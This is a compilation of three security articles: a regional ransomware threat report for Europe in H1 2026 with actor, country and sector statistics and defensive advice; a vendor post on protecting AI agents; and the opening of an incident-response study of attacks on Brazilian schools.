LockBit's presence in European targeting represents a significant finding given sustained law enforcement pressure and multiple platform disruption attempts. Despite being targeted by coordinated international takedown operations, LockBit maintained operational capability throughout H1 2026.

Geographic Concentration:

• Europe: 61 attacks (Primary operations)
• North America: 47 attacks (Secondary operations)
• Distributed: Global presence indicating resilient infrastructure

Worldwide Sectoral Targeting:

• Construction: 22 incidents
• Manufacturing: 22 incidents
• Government & LEA: 12 incidents
• Healthcare: 19 incidents
• Professional Services: 13 incidents

Operational Resilience:

LockBit's continued operations despite international enforcement actions demonstrate several critical lessons:

1. Affiliate Compartmentalization: By maintaining separate operational cells, LockBit can continue operations even when core infrastructure is disrupted
2. Rapid Rebranding: The group has adopted multiple identities and platform variants, complicating attribution
3. Infrastructure Redundancy: Multiple command-and-control server locations across jurisdictions with varying law enforcement cooperation levels
4. Operator Recruitment: Continuous recruitment of new affiliates from emerging cybercriminal talent pools

The group's continued viability suggests that law enforcement actions, while disruptive, are insufficient to eliminate established RaaS operations. Organizations cannot rely on law enforcement intervention as a defensive strategy; they must assume LockBit and similar groups will remain operational threats indefinitely.

European Security Implications: LockBit should remain on European security teams' active threat monitoring lists. The group maintains technical sophistication, access to critical zero-day exploits, and demonstrated willingness to target European critical infrastructure.

4. Akira: The Opportunistic European Operator

Attack Volume: 59 documented incidents (6.8% of regional total)

Akira represents a secondary-tier ransomware group with focused European operations. The group demonstrates strong preference for Manufacturing and Construction sectors, suggesting industry-specific expertise or targeted affiliate recruitment.

Geographic Concentration:

• Europe & UK: 59 attacks (Secondary focus)
• North America: 268 attacks (Primary focus)
• Secondary: Limited operations in other regions

Worldwide Sectoral Targeting:

• Manufacturing: 54 incidents
• Construction: 57 incidents
• Professional Services: 47 incidents
• Consumer Goods: 34 incidents
• Healthcare: 13 incidents

Operational Profile:

Akira's disproportionate North American presence (268 attacks) with lower European activity (59 attacks) suggests the group may have established affiliate networks in North America with secondary capacity for European operations. The strong manufacturing and construction focus mirrors Qilin's strategy, indicating these sectors offer superior ransom payment likelihood across multiple geographic markets.

European Security Implications: While not as immediately threatening as Qilin or The Gentlemen, Akira's persistent operations warrant inclusion in threat modeling exercises. European manufacturing and construction organizations should monitor Akira's affiliate recruitment channels and tactical innovations.

5. Dragonforce: The Supply-Chain Specialist

Attack Volume: 54 documented incidents (6.2% of regional total)

Dragonforce rounds out the top-five European threat actors with apparent specialization in Manufacturing and Technology sectors, suggesting possible supply-chain attack capabilities.

Geographic Concentration:

• North America: 135 attacks (Primary focus)
• Europe & UK: 54 attacks (Secondary focus)
• Secondary: Limited global operations

Worldwide Sectoral Targeting:

• Manufacturing: 31 incidents
• Construction: 48 incidents
• Professional Services: 28 incidents
• Food & Beverages: 9 incidents
• Healthcare: 9 incidents

Operational Pattern:

Dragonforce's heavy US focus with secondary European operations suggests the group may be leveraging North American-based supply chains to gain access to European targets. Manufacturing supply chains are deeply interconnected across transatlantic partners; compromising US manufacturers could provide lateral access into European operations.

European Security Implications: European manufacturing organizations should implement aggressive third-party risk management programs, particularly for US-based suppliers. Dragonforce's supply-chain sophistication suggests the group may bypass direct targeting in favor of compromising upstream vendors.

Also read: The Most Active Threat Actors of H1 2026

The Five Most Targeted European Nations

Germany: The Manufacturing Battleground

Attack Volume: 155 ransomware attacks (17.9% of regional total)

Germany's position as Europe's manufacturing powerhouse places it at the center of ransomware targeting campaigns. The nation's industrial sector—encompassing automotive, machinery, chemicals, and precision manufacturing—represents the most valuable ransomware target set in Europe.

Threat Actor Concentration:

• Qilin: 32 attacks (20.6% of German total)
• The Gentlemen: 32 attacks
• LockBit: 18 attacks
• Akira: 32 attacks
• Dragonforce: 9 attacks

Sectoral Breakdown:

• Manufacturing: 67 incidents (significant concentration)
• Construction: 38 incidents
• Professional Services: 28 incidents
• Technology: 15 incidents
• Healthcare: 12 incidents

Why Germany Faces Maximum Pressure

German organizations represent an optimal target combination: high asset value, supply-chain criticality, strong operational technology integration, and proven willingness to pay ransoms to maintain production schedules. Additionally, Germany's federal structure creates jurisdictional complexity that may slow law enforcement response.

The nation's Mittelstand (mid-market manufacturing firms) are particularly vulnerable—large enough to justify ransom payments, but sometimes lacking enterprise-grade security infrastructure.

Defensive Priority: German manufacturing organizations should assume Qilin, The Gentlemen, Akira, and Dragonforce all maintain active operations targeting their sector. Network segmentation between IT and operational technology (OT) environments should be elevated to critical priority.

United Kingdom: The Financial Services Crosshairs

Attack Volume: 138 ransomware attacks (15.9% of regional total)

The UK faces a different threat profile than Germany, driven primarily by London's position as a global financial services hub. While manufacturing is targeted, Banking, Financial Services, and Insurance (BFSI) organizations command disproportionate attention.

Threat Actor Concentration:

• Qilin: 26 attacks
• The Gentlemen: 26 attacks
• LockBit: 18 attacks
• Akira: 13 attacks
• Dragonforce: 11 attacks

Sectoral Breakdown:

• BFSI: 38 incidents (concentrated targeting)
• Technology: 32 incidents
• Retail: 26 incidents
• Professional Services: 24 incidents
• Government & LEA: 16 incidents

Why the UK Is Targeted

London's financial services ecosystem manages trillions in assets, making it extraordinarily valuable to data-exfiltrating threat actors. BFSI organizations hold customer financial data, internal financial records, and strategic information that commands premium prices on dark web marketplaces.

Additionally, regulatory requirements (FCA, PRA, etc.) create pressure for rapid ransom payment to avoid breach notification delays that could trigger regulatory sanctions.

Data Exfiltration Risk: The UK's status as a financial services hub makes it particularly vulnerable to data-centric attack strategies. Organizations should assume that successful breach attempts will include aggressive data exfiltration alongside encryption deployment.

Defensive Priority: UK BFSI organizations must implement robust data loss prevention (DLP), encryption for data in transit and at rest, and aggressive monitoring for unauthorized data access or exfiltration attempts.

France: The Balanced Threat

Attack Volume: 119 ransomware attacks (13.7% of regional total)

France experiences balanced threat distribution across multiple sectors, reflecting both its manufacturing capacity and significant professional services sector.

Threat Actor Concentration:

• Qilin: 28 attacks
• The Gentlemen: 28 attacks
• LockBit: 15 attacks
• Akira: 14 attacks
• Dragonforce: 8 attacks

Sectoral Breakdown:

• Professional Services: 26 incidents
• Manufacturing: 24 incidents
• Construction: 19 incidents
• Technology: 14 incidents
• Healthcare: 10 incidents

Why France Faces Distributed Threat

As Europe's second-largest economy, France is attractive to ransomware operators across multiple sectors. The nation's professional services sector (legal, accounting, consulting) is particularly valuable for data exfiltration, while manufacturing remains a consistent target.

Defensive Priority: French organizations should implement sector-specific defensive strategies: professional services firms should prioritize client data protection and DLP, while manufacturing organizations should focus on OT segmentation and operational resilience.

Italy: The Construction and Manufacturing Hub

Attack Volume: 115 ransomware attacks (13.3% of regional total)

Italy faces concentrated targeting in construction and manufacturing sectors, with particular pressure on small-to-medium enterprises in industrial regions.

Threat Actor Concentration:

• Qilin: 19 attacks
• The Gentlemen: 18 attacks
• LockBit: 12 attacks
• Akira: 16 attacks
• Dragonforce: 8 attacks

Sectoral Breakdown:

• Construction: 48 incidents (concentrated)
• Manufacturing: 38 incidents
• Professional Services: 18 incidents
• Retail: 14 incidents

Why Italy Faces Sector-Specific Pressure

Italy's construction industry is particularly vulnerable to ransom attacks due to tight project timelines and significant financial exposure. The nation's manufacturing sector, while sophisticated, sometimes operates with legacy infrastructure that creates exploitation opportunities.

Defensive Priority: Italian construction and manufacturing organizations should prioritize incident response readiness, backup infrastructure resilience, and supply-chain risk management.

Spain: The Emerging Risk

Attack Volume: 87 ransomware attacks (10.0% of regional total)

Spain experiences lower absolute attack volume than Germany, UK, France, or Italy, but faces concentrated pressure in manufacturing and professional services sectors.

Threat Actor Concentration:

• Qilin: 20 attacks
• The Gentlemen: 18 attacks
• LockBit: 8 attacks
• Akira: 12 attacks
• Dragonforce: 7 attacks

Sectoral Breakdown:

• Manufacturing: 28 incidents
• Professional Services: 19 incidents
• Construction: 16 incidents
• Technology: 10 incidents

Regional Observation: Spain's lower attack volume may reflect either lower overall ransomware targeting or more effective defensive implementations. Spanish security teams should not interpret lower numbers as reduced threat but rather as a baseline for future comparison.

Where European Organizations Face Maximum Risk: A Sectoral Analysis

Construction: The Ransomware Goldmine

Attack Volume: 107 documented incidents (58% of all sector targeting across regions – not just in Europe – analyzed)

Construction organizations face disproportionate ransomware targeting across the entire European region. This concentration reflects understood economic vulnerabilities that threat actors exploit with precision.

Why Construction Is Targeted

1. Time-Sensitive Financial Exposure: Construction projects operate under contractually-defined timelines. Each day of delay triggers cascading costs, financial penalties, and potential contract termination. Organizations facing potential loss of €50-100 million contracts will prioritize rapid recovery over law enforcement involvement.
2. Operational Technology Integration: Modern construction increasingly relies on Building Information Modeling (BIM), cloud-based project management, and real-time equipment tracking. This IT/OT convergence creates exploitation pathways unavailable in purely IT-based industries.
3. Supply-Chain Complexity: Construction projects depend on dozens of subcontractors and suppliers. Compromising a single upstream supplier can provide lateral access into prime contractors.
4. Financial Pressure: Construction firms often operate with tight cash flow, making ransom negotiation essential to preserve solvency.
5. Accessibility: Many construction firms, particularly smaller regional players, operate with basic security infrastructure, creating easy exploitation opportunities.

European Construction Risk Mapping:

• Germany (14 attacks): Heavy machinery and precision manufacturing integration
• Switzerland (10 attacks): Legacy infrastructure vulnerabilities
• Spain (13 attacks): Emerging targeting activity
• France (10 attacks): Balanced threat across major metropolitan areas
• UK (21 attacks): Infrastructure project concentration (rail, utilities, etc.)

Defensive Recommendations for Construction:

• Network Segmentation: Isolate operational technology (project equipment, heavy machinery) from corporate IT networks
• Access Control: Implement strict authentication for remote project management tools (Autodesk Forge, Procore, etc.)
• Immutable Backups: Maintain offline, immutable backups of critical BIM files and project documentation
• Incident Response Readiness: Develop construction-specific response playbooks addressing project continuity
• Supply-Chain Due Diligence: Implement security requirements for subcontractors and equipment suppliers

Professional Services: The Data Exfiltration Target

Attack Volume: 86 documented incidents

Professional services firms (law, accounting, consulting) face sophisticated targeting driven by data exfiltration opportunities rather than operational disruption pressure.

Why Professional Services Are Targeted

1. Client Confidentiality Risk: Legal privilege and client confidentiality create existential regulatory and reputational exposure. Threat actors leverage this to demand premium ransoms.
2. Sensitive Data Concentration: Professional services firms accumulate client financial records, litigation strategies, tax information, and corporate secrets—all commanding premium dark web prices.
3. Regulatory Exposure: GDPR breach notification requirements create pressure for rapid response and ransom payment to avoid regulatory sanctions.
4. Supply-Chain Position: Professional services firms advise major corporations; compromising advisors provides indirect access to clients.
5. Trust-Based Business Model: Client relationships depend on confidentiality. A single breach can destroy long-term client relationships and firm reputation.

European Professional Services Risk:

• France (16 attacks): Concentrated targeting of Paris-based firms
• Germany (16 attacks): Heavy focus on Frankfurt financial advisory firms
• UK (17 attacks): London-based legal and accounting partnerships
• Italy (6 attacks): Milan and Rome-based advisory firms
• Spain (7 attacks): Barcelona and Madrid professional services sector

Key Finding: Professional services firms experience disproportionate data breach incidents (exfiltration with confirmed leak activity) compared to other sectors. Of the 51 total data breach incidents across Europe and UK, professional services represents a concentrated target.

Defensive Recommendations:

• Client Data Segregation: Isolate client data on separate network segments with distinct access controls
• Data Loss Prevention (DLP): Deploy DLP solutions with aggressive egress controls monitoring client data exfiltration
• Encryption Standards: Implement client-facing encryption for all sensitive communications
• Access Auditing: Maintain comprehensive logs of all access to sensitive client data
• Ransomware-Specific Insurance: Consider cyber insurance with specific ransomware coverage addressing confidentiality exposure

Manufacturing: The Supply-Chain Critical Target

Attack Volume: 123 documented incidents

European manufacturing organizations face sophisticated, supply-chain-aware threat actors who understand production dependencies and downtime economics.

Why Manufacturing Is Targeted

1. Operational Technology Integration: Modern factories integrate IT and OT systems. Ransomware deployment can halt production lines, creating catastrophic financial exposure.
2. Supply-Chain Criticality: Manufacturing downtime cascades through dependent enterprises. A single organization's compromise can impact dozens of downstream customers.
3. Export Dependency: European manufacturers serve global markets. Production delays translate directly into lost revenue and market share.
4. Legacy Infrastructure: Many manufacturing facilities operate aging, unpatched systems integrated with newer IT infrastructure, creating exploitation bridges.
5. Financial Pressure: Manufacturing organizations face razor-thin margins; production downtime can drive solvency crises.

Geographic Manufacturing Risk Concentration:

• Germany (27 attacks): Automotive, machinery, precision manufacturing
• Italy (21 attacks): Fashion, machinery, chemical manufacturing
• France (15 attacks): Automotive, aerospace, industrial manufacturing
• Spain (10 attacks): Automotive, machinery, manufacturing
• UK (14attacks): Aerospace, automotive, precision manufacturing

Critical Vulnerability Pattern: Manufacturing organizations are disproportionately targeting known, exploitable vulnerabilities in critical infrastructure appliances (network appliances, security tools, identity systems). Rather than deploying zero-days, threat actors exploit patched vulnerabilities that organizations have not implemented.

Defensive Recommendations:

• OT/IT Segmentation: Implement airgapped network separation between operational technology and corporate IT
• Vulnerability Management Prioritization: Focus patching efforts on network appliances, security tools, and identity systems
• Industrial Control System (ICS) Monitoring: Deploy behavioral monitoring for unusual activity on manufacturing control systems
• Immutable Backup Strategy: Maintain completely offline backups of critical manufacturing configurations
• Supply-Chain Security Program: Implement tier-1 and tier-2 supplier security assessments and vulnerability scanning
• Incident Response Scenario Planning: Develop detailed playbooks for production-line ransomware scenarios

Healthcare: The Critical Infrastructure Threat

Attack Volume: 35 documented incidents

Healthcare organizations face a unique threat dynamic where ransomware directly endangers patient safety, creating existential operational pressure distinct from financial threats.

Why Healthcare Is Targeted

1. Patient Safety Risk: Ransomware disables critical medical systems (diagnostic equipment, pharmaceutical dispensing, patient records). Unlike other industries, downtime directly threatens life.
2. Regulatory Pressure: GDPR, HIPAA-equivalent regulations, and national privacy laws create breach notification requirements that incentivize ransom payment.
3. Data Value: Patient medical records, pharmaceutical research data, and clinical trial information command premium dark web prices.
4. Continuous Operation Requirement: Unlike manufacturing or services, healthcare cannot delay critical procedures. The operational pressure to pay ransoms is existential.
5. System Complexity: Healthcare IT environments integrate numerous legacy systems (PACS, EHR, medical devices) with varying security architectures.

European Healthcare Risk Distribution:

• Germany (14 attacks): Concentrated in Berlin, Munich, and Frankfurt urban medical centers
• Austria (2 attacks): private healthcare sector
• France (5 attacks): Concentrated in Paris and Lyon region hospitals
• Switzerland (3 attacks): medical centers
• Spain (3 attacks): Barcelona and Madrid hospital networks

Critical Finding: Healthcare organizations experience disproportionately high data breach incident rates, suggesting organized threat actors specifically target health information exfiltration.

Defensive Recommendations:

• Clinical System Isolation: Implement complete network separation between clinical systems and corporate IT
• Redundant Critical Systems: Deploy redundant diagnostic and pharmaceutical systems capable of manual operation
• Patient Data Encryption: Implement end-to-end encryption for all patient medical records
• Breach Response Planning: Develop healthcare-specific incident response plans addressing patient notification and continuity of care
• Medical Device Security: Implement inventory and monitoring for all connected medical devices
• Supply-Chain Assessment: Assess security of medical device manufacturers and pharmaceutical distributors

The Data Exfiltration Reality: Beyond Encryption

Confirmed Data Breaches: 51 Incidents Across Europe and UK

While ransomware attacks total 866, only 51 incidents resulted in confirmed data breaches and leaks (5.9% confirmation rate). This apparent low percentage masks a critical operational truth: organizations cannot distinguish between encryption-only attacks and data exfiltration scenarios until exfiltration attempts or threats emerge.

Data Breach Distribution by Sector:

Sector	Confirmed Breaches	Percentage
BFSI	9	17.6%
Telecom	9	17.6%
Retail	8	15.7%
Government & LEA	6	11.8%
Media & Entertainment	5	9.8%
Technology	4	7.8%
Healthcare	4	7.8%
Automotive	3	5.9%
Construction	2	3.9%
Education	1	2.0%
Others	6	11.8%

Critical Observation: BFSI and Telecom sectors experience disproportionate data breach incidents, suggesting these industries are specifically targeted for data exfiltration rather than operational disruption. The strategic implication is clear: threat actors targeting financial and telecommunications organizations prioritize data monetization over ransom payment.

Most Active Threat Actors in Data Exfiltration: The Leak Economy

Primary Exfiltration Actors:

Actor	Confirmed Leak Posts	Targeting Pattern
tanaka	6	Industry-agnostic, global operations
kazutlg	4	BFSI and Professional Services focus
aslan1	2	Government and Technology sectors
darkcybervault	2	Retail and Professional Services
breach3d	2	Technology focus
frog	2	Diverse sector targeting
ken6k	2	BFSI concentration
max9898	2	Retail and Technology
worldrdp	2	Technology sector
zyad2drkwb	2	Government targeting
zoozkooz	2	Diverse sector
mr_x1	1	Retail focus
ventuuas	1	Professional Services
Others	18	Distributed diverse targeting

Strategic Finding: While Qilin, The Gentlemen, and LockBit dominate ransomware attack volume, data exfiltration is fragmented across numerous smaller actors, including tanaka (6 posts), kazutlg (4 posts), and dozens of single-incident operators. This suggests a mature data brokerage ecosystem where extracted data is resold to specialized exfiltration actors.

Dark Web Data Marketplace Activity:

• 916 unique domains impacted by data leaks
• Approximately 86 distinct leak posts across dark web channels
• Data types: Financial records, customer PII, medical records, intellectual property, trade secrets

Implication: Organizations can no longer assume encrypted data is "lost forever" if backups are restored. Exfiltrated data will be monetized regardless of whether organizations pay ransoms. Data loss prevention becomes as critical as ransomware detection.

Geopolitical and Ideological Dimensions: The Activism-Cybercrime Convergence

Pro-Russian Hacktivism: Blurred Lines Between Ideology and Profit

H1 2026 witnessed increasing overlap between geopolitically motivated hacktivism and financially motivated cybercrime, particularly among pro-Russian collectives targeting NATO-aligned European nations.

Key Threat Actors to Monitor

NoName057(16) - The Pro-Russian DDoS Coalition

• Primary Activity: Large-scale DDoS attacks against NATO-aligned governments and Ukrainian supporters
• Secondary Activity: Data exfiltration for monetization
• Geographic Targets: Estonia, UK, Ukraine, Italy, Spain, France, Poland, Norway, Denmark, Lithuania, Latvia, Czech Republic, Germany, Moldova
• Operational Pattern: Coordinated DDoS campaigns often accompanied by data theft and subsequent leak activity

Operational Evolution: NoName057(16) began as a purely activist collective claiming ideological motivation (anti-NATO, pro-Russia). By H1 2026, the group had evolved to include data exfiltration and monetization—suggesting either organizational evolution or infiltration by financially motivated threat actors.

Strategic Implication: European organizations cannot compartmentalize threat modeling. A geopolitically motivated attack that begins as a DDoS campaign can transition into ransomware deployment when exfiltration opportunities present themselves.

Strategic Defense Recommendations for European Organizations

Prioritized Defensive Roadmap

Based on CRIL's H1 2026 regional data, European security leaders should prioritize defensive investments in the following sequence:

Phase 1: Critical Infrastructure Protection (30 days)

1. Inventory Network Appliances: Document all network appliances (firewalls, SD-WAN platforms, security gateways, VPNs)
2. Patch Critical CVEs: Prioritize patches for Cisco, Ivanti, Palo Alto, Fortinet, and Microsoft appliances
3. Access Control Hardening: Implement MFA for all remote administrative access to network infrastructure
4. Monitoring Deployment: Deploy behavioral monitoring on network appliances for anomalous activity

Phase 2: Data Protection (60 days)

1. Data Inventory: Identify and catalog sensitive data holdings (customer data, financial records, intellectual property)
2. DLP Implementation: Deploy data loss prevention solutions with egress monitoring
3. Encryption Standards: Implement encryption for data in transit (TLS 1.3+) and at rest (AES-256)
4. Access Logging: Enable comprehensive audit logging for all sensitive data access

Phase 3: Operational Resilience (90 days)

1. Immutable Backups: Establish offline, immutable backup infrastructure isolated from network access
2. Incident Response Planning: Develop organization-specific incident response playbooks addressing ransomware scenarios
3. Business Continuity: Identify critical business functions and develop continuity strategies
4. Disaster Recovery Testing: Conduct quarterly backup restoration testing to verify recovery capabilities

Phase 4: Threat Hunting and Detection (Ongoing)

1. Threat Intelligence Integration: Subscribe to European threat intelligence feeds focusing on Qilin, The Gentlemen, LockBit, Akira, and Dragonforce
2. Behavioral Detection: Deploy endpoint detection and response (EDR) solutions with behavioral analytics
3. Supply-Chain Monitoring: Implement continuous monitoring of vendor and supplier security posture
4. Insider Threat Program: Develop insider threat detection capabilities focusing on data exfiltration attempts

Regional Threat Actor Summary: Who Targets Your European Organization

Sector-Specific Threat Actor Mapping

If You're in Construction:

• Primary Threat: Qilin, The Gentlemen
• Secondary Threat: Akira, Dragonforce
• Vulnerability: Network segmentation gaps, supply-chain vulnerabilities, legacy OT systems
• Defensive Focus: OT/IT segmentation, immutable backups, supplier security assessment

If You're in Professional Services:

• Primary Threat: Qilin, The Gentlemen
• Secondary Threat: LockBit, Akira
• Vulnerability: Client data exfiltration, regulatory exposure, ransomware payment pressure
• Defensive Focus: DLP, client data encryption, ransomware-specific insurance

If You're in Manufacturing:

• Primary Threat: Qilin, The Gentlemen
• Secondary Threat: Akira, Dragonforce
• Vulnerability: OT/IT integration, supply-chain exploitation, operational downtime pressure
• Defensive Focus: OT segmentation, vulnerability prioritization, continuity planning

If You're in BFSI:

• Primary Threat: Qilin, The Gentlemen, LockBit
• Secondary Threat: Data exfiltration actors (tanaka, kazutlg)
• Vulnerability: Financial data value, regulatory breach notification pressure, customer trust exposure
• Defensive Focus: Data encryption, DLP with aggressive egress controls, cyber insurance

If You're in Healthcare:

• Primary Threat: Qilin, The Gentlemen, LockBit
• Secondary Threat: Data exfiltration operators
• Vulnerability: Patient safety risk, critical operational pressure, medical device security
• Defensive Focus: Clinical system isolation, redundant critical systems, incident response for operational continuity

Conclusion: The European Ransomware Reality

Europe and the UK face a mature, organized ransomware ecosystem dominated by five sophisticated threat actors who have developed deep understanding of regional economic vulnerabilities. The threat is not random or opportunistic—it is strategic, targeted, and evolved.

Key Takeaways:

1. Five groups dominate: Qilin (158 attacks), The Gentlemen (144), LockBit (61), Akira (59), and Dragonforce (54) collectively account for 476 of 866 documented attacks (55%). European security leaders can build specific defensive strategies against known adversaries.
2. Geography matters: Germany, UK, France, Italy, and Spain face distinct threat profiles. Security strategies must be regionally and sector-specific, not generic.
3. Sectors are targeted deliberately: Construction, Professional Services, and Manufacturing are not randomly selected—they face extraordinary pressure due to economic vulnerabilities that threat actors systematically exploit.
4. Data exfiltration is the primary leverage: Of 866 attacks, only 51 resulted in confirmed breaches—but this understates the risk. Organizations must assume all breaches involve data exfiltration and cannot rely on backup restoration alone.
5. Patch management is the primary defense: Nearly 90% of exploited vulnerabilities had patches available. Disciplined patch management, particularly for network appliances, would prevent the vast majority of successful attacks.
6. Known vulnerabilities are the current threat: Despite awareness of zero-day sophistication, threat actors continue exploiting known vulnerabilities because patches lag adoption. This creates a predictable exploitation window that defensive teams can close.

For European security leaders, the path forward is to understand your regional threat actors, prioritize critical infrastructure protection, implement robust data protection measures, and establish resilient backup and recovery infrastructure. The threat is severe, but it is also understood and defensible. The question is not whether European organizations will face ransomware attacks in the remainder of 2026 and beyond—the data confirms they will. The question is whether they will be prepared.

The post Ransomware Threats in Europe H1 2026: A Deep Dive into Regional Attack Patterns and Dominant Threat Actors appeared first on Cyble.

AI agents have made their way into virtually every layer of your environment. They run in the apps your employees adopt, on the endpoints where agents execute code, as users with access privileges those agents borrow, and in the cloud workloads that scale them. The platform that you trust to secure your endpoints is already already covering where AI operates today.

Here is the through-line that makes this one problem instead of four. Every AI attack starts as an interaction and ends as an action. A prompt gets manipulated, an agent gets tricked, and the damage lands on a host, reaches into an identity, or moves through the cloud. The tools that treat each surface as a separate product hand you fragments. SentinelOne treats them as one chain.

How SentinelOne Defends the Agentic Stack Today

Employee AI use is where the risk quietly enters. Your people are already using AI tools you never sanctioned, through browser, IDE, and API-connected apps and agentic AI tools. SentinelOne discovers that shadow AI use across browsers, IDEs, and copilots, highlights which tools and models are in play and governs it with policy. It keeps confidential data, PII, and secrets from reaching untrusted models, and it stops prompt injection and jailbreaks aimed at the tools you build. Legacy DLP reads patterns; this reads context, which is the only way to catch an attack aimed at AI systems that behave in a non-deterministic way.

The agent layer is where AI stops advising and starts acting. An employee’s prompt sends text. An agent sends commands, holds credentials, calls APIs, and chain actions without a human approving each step. That makes them non-human identities with standing access. SentinelOne governs that access. It inventories the agents and MCP servers already operating and scores what each one can reach and holds every agent to the privileges its task requires. Then it inspects the tool calls themselves, so an injected instruction gets blocked at the moment it would execute. What gets executed lands in a searchable record, and the same enforcement doubles as a kill switch.

While governance decides what an agent is allowed to do, the endpoint is where you find out what it actually did.

The endpoint is where agents execute. This is the frontier, and where SentinelOne has protected customers for over a decade. Our behavioral engine judges what a process does, not what it claims to be. That is how we caught QUIETVAULT – malware that spins up AI agents in “yolo” mode to exfiltrate secrets to GitHub. It is how we autonomously stopped the LiteLLM supply chain attack, where adversaries weaponized the Claude CLI to install a malicious payload. It is how we surfaced a DLL side-loading attack hidden inside an AI tool installer. Real detections, on the endpoint, today. Agents run on the host, and so do we.

The identity is where a hijacked agent runs next. Picture an employee’s AI coding agent that gets hijacked mid-task. It spawns a shell and reaches for cached credentials and cloud session tokens, trying to stop being a process and start being the user. That pivot to identity is what unlocks lateral movement, and it is where most AI attacks are headed. SentinelOne meets the move. It secures human and non-human identities alike, and seeds the environment with decoy credentials and honeytokens no legitimate user ever touches. The instant the hijacked agent grabs one, the trap trips, and Identity responds by forcing an MFA re-challenge, disabling the account, or isolating the host. Authorization at login is not enough. Access gets validated against behavior and pulled at runtime.

The cloud is where AI workloads scale. Consider an internal AI agent running in a Kubernetes cluster with standing access to a customer database. Security teams keep asking the same question about deployments like this. Where is the model connecting, and who is it talking to? SentinelOne answers with eBPF-native runtime protection that judges how the workload actually behaves, and flags the moment that inference service reaches an endpoint it has never touched before. It covers the control plane the deployment depends on, the secrets it reads, the pipelines it runs through, and the data it can access. Defending the AI you build takes more than watching it, it takes action on the workload in real time.

SentinelOne’s Singularity Platform Advantage

Each of these surfaces matters on its own. What closes the kill chain is following an attack across them without losing it at the handoff. This is where a single platform earns its keep. AI telemetry already streams into the Singularity Data Lake, alongside the endpoint data the platform has correlated for years. As identity and cloud signals join that same view, an analyst follows one attack from first prompt to final action, without stitching logs across six tools at two in the morning. A manipulated prompt, the process it spawns, the credential it reaches for, and the cloud resource it targets read as one story rather than six disconnected alerts.

Detection that only watches is observation. Runtime action is protection. When the Singularity Platform acts, autonomous response blocks the execution, rolls back the change, and revokes the access at the point of impact, without a human relaying orders between consoles. This is the difference between whether an attack is stopped or just gets logged.

That is the case for securing AI inside a platform built for autonomous runtime response. We are not adding a console to chase AI, we are extending the one already deployed where your agents run.

Questions to Ask When Assessing Your AI Security Options

When evaluating AI security, ask yourself three things.

• Does the solution protect the endpoint where agents actually execute, or is it a roadmap item?
• When a hijacked agent pivots to credentials and the cloud, does that telemetry land in the same platform, or are you manually connecting dots across three dashboards?
• Can the solution act at the moment of execution, or only tell me what already happened?

SentinelOne protects the surfaces where AI runs today. This includes the apps your employees use, the agents they deploy, the endpoints where agents execute, the identities they borrow, and the cloud where they scale. One platform, built for autonomous response. While AI has changed the attack, it does not have to change your architecture.

See it for yourself. Talk to our team about securing AI across your endpoints, identities, cloud, and the AI apps your employees already use, all from the platform you run today. Contact SentinelOne today.

Third-Party Trademark Disclaimer:

All third-party product names, logos, and brands mentioned in this publication are the property of their respective owners and are for identification purposes only. Use of these names, logos, and brands does not imply affiliation, endorsement, sponsorship, or association with the third-party.

Introduction

Because of the amount of data that can be obtained and the high impact that successful attacks may have, educational institutions are frequent targets of cybercriminals. Both public and private schools and universities rely on software for managing personally identifiable information (PII) that is often insecure or insufficiently tested against known vulnerabilities. In addition, machines used by multiple people without accountability can be vulnerable to insider threats.

The complexity of academic environments amplifies this risk. Unlike corporate networks, educational institutions have to provide a network that supports students, professors, researchers, administrative staff, third-party contractors, and visitors. Each of these groups has different security requirements and access control levels, making it difficult to enforce consistent security policies. A security breach can have severe consequences since it may expose vast amounts of sensitive information, such as social security numbers (CPF in Brazil), addresses, phone numbers, and even parents’ names. Armed with this information, attackers can attempt phishing attacks and impersonate the victims in SIM swapping attacks, a common practice in Brazil.

In this article, we provide details about attacks on educational institutions in Brazil observed by our Global Emergency Response Team (GERT) since 2025. We share general statistics, common threats, initial access vectors, and the impact of such violations. Additionally, we present some interesting cases encountered by our team and the identified TTPs. Finally, we offer recommendations to help institutions protect themselves against future attacks.

Key findings and statistics

Our dataset encompasses incident response cases from January 2025 to June 2026. As the chart below shows, the majority of attacks targeted institutions in São Paulo state, Brazil’s most populous state and a significant center of economic and financial activity. We also had cases in Rio de Janeiro and Pernambuco.

Geographical distribution of incident response requests at educational institutions (download)

Of the customers who requested incident response, 60% were private institutions and 40% were public institutions.

Private and public institutions (download)

The most frequent reasons for requesting IR services were related to suspicious endpoint activities, encrypted files, and the presence of suspicious files.

Incident response request reasons (download)

High-severity incidents accounted for 40% of the total cases, while the remaining 60% were medium severity.

Distribution of incidents by severity (download)

The high-severity incidents were mainly related to ransomware attacks. Interestingly, private institutions were the most targeted by ransomware, while incidents in public institutions were mostly related to suspicious endpoint activity and privilege escalation attempts. The most common ransomware families found in our dataset were DragonForce and LockBit 3, whose builder was leaked back in 2022. By using the leaked LockBit builder with a valid privileged account, attackers can build variants capable of disabling defenses and erasing logs.

The most common initial access vectors included the use of valid accounts, exploitation of public-facing applications, and insiders.

Initial access vectors (download)

For privilege escalation, the attackers often relied on Potato variants (GodPotato, SweetPotato, and BadPotato).

We also observed attackers using tools like AnyDesk for remote access, PsExec for lateral movement within compromised infrastructures, and AV-killer malware to terminate the system’s defenses. The latter was mainly used in ransomware-related incidents.

These data reveal an interesting pattern in the threat landscape affecting educational institutions in the region. Many incidents were not caused by highly sophisticated techniques but rather by the abuse of common weaknesses such as valid accounts, exposed applications, and inadequate patch management, as well as the use of publicly available tools that are well-known to the adversaries. The prevalence of ransomware in private institutions suggests a stronger financial motivation, likely because attackers assume these organizations are more capable of paying for data recovery than public schools and universities.

Most attacks were discovered promptly and lasted from a few minutes to a couple of hours. However, technical incident response activities averaged 9.6 hours. This indicates that the impact caused by an incident often extends beyond the timeframe of the active attack, requiring extensive triage and analysis by the forensic investigators to fully restore operations.

One interesting fact is that we are still observing the use of Windows 10 in the infrastructures of educational institutions, even after Microsoft’s official end-of-support date of October 2025. In addition, we found that some customer organizations were using Windows Server 2016 without security patches and fixes. Using outdated and unsupported operating systems increases the attack surface of an infrastructure because attackers can exploit publicly available vulnerabilities to access vulnerable systems and expand their presence in the network. In addition, legacy operating systems may be incompatible with modern evidence collection tools, necessitating extra time and alternative procedures for forensic acquisition.

Obsolete systems in organizations (download)

Interesting cases

Case 01 – Leaked LockBit builder

In one case, we identified the use of a custom version of LockBit that was generated using the leaked builder. The ransomware was delivered to the organization’s infrastructure via a valid account that had been leaked. It encrypted the organization’s internal systems, including file servers and databases that stored student profiles and other data. There was no evidence of data exfiltration from the affected machines.

